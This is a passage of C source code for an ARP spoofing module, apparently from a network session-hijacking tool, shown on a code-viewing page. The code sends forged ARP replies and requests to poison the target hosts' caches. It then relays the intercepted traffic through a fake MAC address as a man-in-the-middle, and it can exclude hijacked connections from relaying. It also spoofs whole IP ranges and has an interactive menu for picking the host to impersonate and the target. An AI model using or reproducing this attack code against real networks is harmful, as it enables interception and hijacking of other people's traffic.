📄 arpspoof.c
字号:
{ int i; if (asi->dst_mac_valid) { for (i = 0; i < count; i++) { send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(asi->dst_addr) + 1)); } } else printf("Warning: cannot try to force arp spoof while dst mac is not known\n");}void stop_arp_spoof(struct arp_spoof_info *asi){ struct arp_spec as_dst; unsigned char *asi_src_mac; int i; if (--asi->use_count > 0) return; list_remove(&l_arp_spoof, asi); /* remove asi from the list */ if (asi->tj_refresh) { unregister_timejob(asi->tj_refresh); free(asi->tj_refresh); asi->tj_refresh = NULL; } if (asi->tj_reply) { unregister_timejob(asi->tj_reply); free(asi->tj_reply); asi->tj_reply = NULL; } if (asi->dst_mac_valid) { if (asi->src_mac_valid) asi_src_mac = asi->src_mac; else asi_src_mac = asi->src_fake_mac; if (arp_spoof_switch) as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; else as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi_src_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REPLY); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi_src_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = asi->dst_mac; as_dst.target_addr = asi->dst_addr; for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); /* * ok, try request also * ask the host for some fake IP * but set the right mac of sender, if the sender entry is in the * target host cache the host will update the cache. */ if (arp_spoof_switch) as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; else as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi_src_mac; as_dst.src_mac = asi->src_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REQUEST); as_dst.sender_mac = asi_src_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = mac_zero; as_dst.target_addr = htonl(ntohl(asi->dst_addr) + 1); for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); } list_lock(&l_arp_spoof); if (list_count(&l_arp_spoof) == 0) { list_remove(&l_ifunc_arp, &ifunc_arp); } list_unlock(&l_arp_spoof); asi_wait_for_release(asi); pthread_cond_destroy(&asi->lock_cond); pthread_mutex_destroy(&asi->mutex); free(asi);}/* * this function runs in hunt thread * enqueues packets for relaying received from hosts which are ARP spoofed */static void func_relay(struct packet *p, void *arg){ struct list_iterator li; struct arp_spoof_info *asi; list_lock(&l_arp_spoof); list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { /* * IP packet on router looks like this: * 1. src == router/Internet, dst_addr == client * 2. src == client, dst_addr == router/Internet * * ASI with dst == router, src == client should relay 1. * ASI with dst == client, src == router should relay 2. */ if ((p->p_iph->saddr == asi->dst_addr || asi->can_forward) && (p->p_iph->daddr == asi->src_addr || asi->can_forward) && (!asi->dst_mac_valid || memcmp(p->p_ethh->h_source, asi->dst_mac, ETH_ALEN) == 0) && memcmp(p->p_ethh->h_dest, asi->src_fake_mac, ETH_ALEN) == 0) { packet_want(p); asi_want(asi); p->p_arg[MODULE_ARP_SPOOF] = asi; list_produce(&l_relay_pkt, p); break; } } list_iter_end(&li); list_unlock(&l_arp_spoof);}/* * check for packets that we do not relay - connections * that are for example hijacked */static int check_dont_relay(struct packet *p){ struct arp_dont_relay *adr; struct list_iterator li; struct iphdr *iph; struct tcphdr *tcph; int dont_relay; iph = p->p_iph; tcph = p->p_hdr.p_tcph; dont_relay = 0; list_lock(&l_arp_dont_relay); list_iter_set(&li, &l_arp_dont_relay); while ((adr = list_iter_get(&li))) { if (adr->src_addr == iph->saddr && adr->dst_addr == iph->daddr && adr->src_port == tcph->source && adr->dst_port == tcph->dest) { dont_relay = 1; break; } if (adr->src_addr == iph->daddr && adr->dst_addr == iph->saddr && adr->src_port == tcph->dest && adr->dst_port == tcph->source) { dont_relay = 1; break; } } list_iter_end(&li); list_unlock(&l_arp_dont_relay); return dont_relay;}static void print_relay_packet(const char *label, struct packet *p, int print_mac){#if 0 struct iphdr *iph = p->p_iph; printf("%s: %s to ", label, host_lookup(iph->saddr, hl_mode)); printf("%s", host_lookup(iph->daddr, hl_mode)); if (iph->protocol == IPPROTO_TCP) printf(" TCP %d -> %d", ntohs(p->p_hdr.p_tcph->source), ntohs(p->p_hdr.p_tcph->dest)); else if (iph->protocol == IPPROTO_UDP) printf(" UDP %d -> %d", ntohs(p->p_hdr.p_udph->source), ntohs(p->p_hdr.p_tcph->dest)); else if (iph->protocol == IPPROTO_ICMP) printf(" ICMP"); else printf(" proto %d", iph->protocol); if (print_mac) { printf(" "); print_eth_mac(p->p_ethh->h_source); printf("->"); print_eth_mac(p->p_ethh->h_dest); } printf("\n");#endif}/* * This is designed for modifing relayed packets. * It was used to alter packets from poor TCP/IP stack * implementation to correct the bug there - thanks hunt. */static void relay_modify_hook(struct packet *p_new){#if 0 struct iphdr *ip; struct tcphdr *tcp; unsigned short old_check; if (p_new->p_iph->protocol == IPPROTO_TCP && p_new->p_hdr.p_tcph->ack_seq && !p_new->p_hdr.p_tcph->ack) { ip = p_new->p_iph; tcp = p_new->p_hdr.p_tcph; old_check = p_new->p_hdr.p_tcph->check; tcp->check = 0; tcp->check = ip_in_cksum(ip, (unsigned short *) tcp, ntohs(ip->tot_len) - IPHDR); if (old_check != tcp->check) printf("bad checksum !!!!!!!!!!!\n"); p_new->p_hdr.p_tcph->ack = 1; tcp->check = 0; tcp->check = ip_in_cksum(ip, (unsigned short *) tcp, ntohs(ip->tot_len) - IPHDR); printf("ack flag not set - set it old=%d new=%d\n", old_check, tcp->check); }#endif}static void *arp_relay(void *arg){ struct packet *p, *p_new; struct arp_spoof_info *asi, *asi_dst; struct list_iterator li; struct iphdr *iph; struct mac_info *mi_src; int found = 0; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 10); while ((p = list_consume(&l_relay_pkt, NULL))) { asi = p->p_arg[MODULE_ARP_SPOOF]; if (!asi->src_mac_valid) { if ((mi_src = mac_info_get(asi->src_addr))) { memcpy(asi->src_mac, mi_src->mac, ETH_ALEN); asi->src_mac_valid = 1; mac_info_release(mi_src); } else { /* we should limit mac_discovery packets sent from relayer */ mac_discover(asi->src_addr, 1); /* we will find the mac next time */ } /* we do not have destination - drop the packet */ asi_release(asi); packet_free(p); continue; } if (!asi->dst_mac_valid) { memcpy(asi->dst_mac, p->p_ethh->h_source, ETH_ALEN); asi->dst_mac_valid = 1; } if (check_dont_relay(p)) { print_relay_packet("arp_realyer drop", p, 0); asi_release(asi); packet_free(p); continue; } /* special processing of packets */ if (process_pktrelay(p, asi)) { print_relay_packet("arp_relayer pktrelay", p, 0); asi_release(asi); packet_free(p); continue; } p_new = packet_new(); packet_copy_data(p_new, p); packet_free(p); p = p_new; iph = p->p_iph; memcpy(p->p_ethh->h_dest, asi->src_mac, ETH_ALEN); asi_release(asi); found = 0; list_iter_set(&li, &l_arp_spoof); while ((asi_dst = list_iter_get(&li))) { if (iph->saddr == asi_dst->src_addr && iph->daddr == asi_dst->dst_addr) { memcpy(p->p_ethh->h_source, asi_dst->src_fake_mac, ETH_ALEN); found = 1; break; } } list_iter_end(&li); if (arp_spoof_switch && ! found) { /* here should be some fake mac instaed of my_eth_mac * - debug it in switched environment */ memcpy(p->p_ethh->h_source, my_eth_mac, ETH_ALEN); } print_relay_packet("arp_relayer got", p, 1); /* modify hook - modify relayed packets if desired */ relay_modify_hook(p_new); send_packet(p_new); packet_free(p_new); } return NULL;}static int start_arp_relayer(void){ list_produce_start(&l_relay_pkt); if (relayer_running) { printf("daemon already running\n"); return -1; } pthread_create(&relay_thr, NULL, arp_relay, NULL); ifunc_relay.func = func_relay; ifunc_relay.arg = NULL; list_enqueue(&l_ifunc_ip, &ifunc_relay); relayer_running = 1; printf("daemon started\n"); return 0; }static int stop_arp_relayer(void){ struct packet *p; struct arp_spoof_info *asi; if (!relayer_running) { printf("daemon isn't running\n"); return -1; } list_remove(&l_ifunc_ip, &ifunc_relay); /* flush packets from l_relay_pkt */ while ((p = list_pop(&l_relay_pkt))) { asi = p->p_arg[MODULE_ARP_SPOOF]; asi_release(asi); packet_free(p); } list_produce_done(&l_relay_pkt); pthread_join(relay_thr, NULL); relayer_running = 0; printf("daemon stopped\n"); return 0;}void print_arp_relayer_daemon(void){ if (relayer_running) { if (pthread_kill(relay_thr, 0) != 0) { pthread_join(relay_thr, NULL); relay_thr = (pthread_t) 0; relayer_running = 0; set_tty_color(COLOR_BRIGHTRED); printf("ARP relayer daemon failed - bug\n"); set_tty_color(COLOR_LIGHTGRAY); } else printf("Y"); }}/* * support for IP range spoof */static int start_arp_spoof_range(struct arp_spoof_range *asr){ struct mac_info *mi_src, *mi_dst; struct arp_spoof_info *asi; unsigned int dst_addr; int count = 0; if (!(mi_src = mac_info_get(asr->src_addr))) mac_discover(asr->src_addr, 2); for (dst_addr = asr->dst_start_addr; ntohl(dst_addr) <= ntohl(asr->dst_end_addr); dst_addr = htonl(ntohl(dst_addr) + 1)) { count++; if (!(mi_dst = mac_info_get(dst_addr))) mac_discover(dst_addr, 2); else mac_info_release(mi_dst); } sec_nanosleep(1); if (!mi_src) mi_src = mac_info_get(asr->src_addr); if (!mi_src) { if (menu_choose_yn("src mac isn't known - continue? y/n", 0) <= 0) return -1; } asr->asi = malloc(count * sizeof(struct arp_spoof_info *)); asr->asi_count = 0; for (dst_addr = asr->dst_start_addr; ntohl(dst_addr) <= ntohl(asr->dst_end_addr); dst_addr = htonl(ntohl(dst_addr) + 1)) { mi_dst = mac_info_get(dst_addr); asi = start_arp_spoof(asr->src_addr, dst_addr, mi_src ? mi_src->mac : NULL, mi_dst ? mi_dst->mac : NULL, asr->src_fake_mac, asr->refresh, asr->can_forward, 1); if (!asi) fprintf(stderr, "error: start_arp_spoof_range: asi == NULL\n"); if (mi_dst) mac_info_release(mi_dst); asr->asi[asr->asi_count++] = asi; } if (mi_src) mac_info_release(mi_src); return 0;}static void stop_arp_spoof_range(struct arp_spoof_range *asr){ int i; for (i = 0; i < asr->asi_count; i++) stop_arp_spoof(asr->asi[i]); free(asr->asi);}/* * user interface */static int arp_spoof_list_items(void){ struct list_iterator li; struct arp_spoof_info *asi; char buf[BUFSIZE]; int i = 0; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->in_range) break; sprintf_eth_mac(buf, asi->src_fake_mac); printf("%2d) on %-16s is %-16s as %s refresh %ds\n", i++, host_lookup(asi->dst_addr, hl_mode), host_lookup(asi->src_addr, hl_mode), buf, asi->refresh); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); return i;}static int arp_spoof_range_list(void){ struct list_iterator li; struct arp_spoof_range *asr; char buf[BUFSIZE]; int i = 0; list_iter_set(&li, &l_arp_spoof_range); while ((asr = list_iter_get(&li))) { sprintf_eth_mac(buf, asr->src_fake_mac); printf("%2d) on %s - %s is %-16s as %s refresh %ds\n", i++, host_lookup(asr->dst_start_addr, HL_MODE_NR), host_lookup(asr->dst_end_addr, HL_MODE_NR), host_lookup(asr->src_addr, hl_mode), buf, asr->refresh); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); return i;}static void arp_spoof_add_item(void){ unsigned int src_ip, dst_ip; unsigned char src_fake_mac[ETH_ALEN]; struct mac_info *mi_src, *mi_dst; struct arp_spoof_info *asi_src_in_dst; char buf[BUFSIZE]; int refresh, can_forward; if ((src_ip = menu_choose_hostname("host to spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("fake mac", src_fake_mac, buf) < 0) return; if (can_forward_question) { if ((can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else can_forward = 1; if ((dst_ip = menu_choose_hostname("target - where to insert the spoof", NULL)) == -1) return; if ((refresh = menu_choose_unr("refresh interval sec", 0, 100000, 0)) < 0) return; if (!(mi_src = mac_info_get(src_ip))) { mac_discover(src_ip, 2); sec_nanosleep(1); if (!(mi_src = mac_info_get(src_ip))) { if (menu_choose_yn("src mac isn't known - continue? y/n", 0) <= 0) return; } } if (!(mi_dst = mac_info_get(dst_ip))) { mac_discover(dst_ip, 2); sec_nanosleep(1); if (!(mi_dst = mac_info_get(dst_ip))) { if (menu_choose_yn("dst mac isn't known - continue? y/n", 0) <= 0) { if (mi_src) mac_info_release(mi_src);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -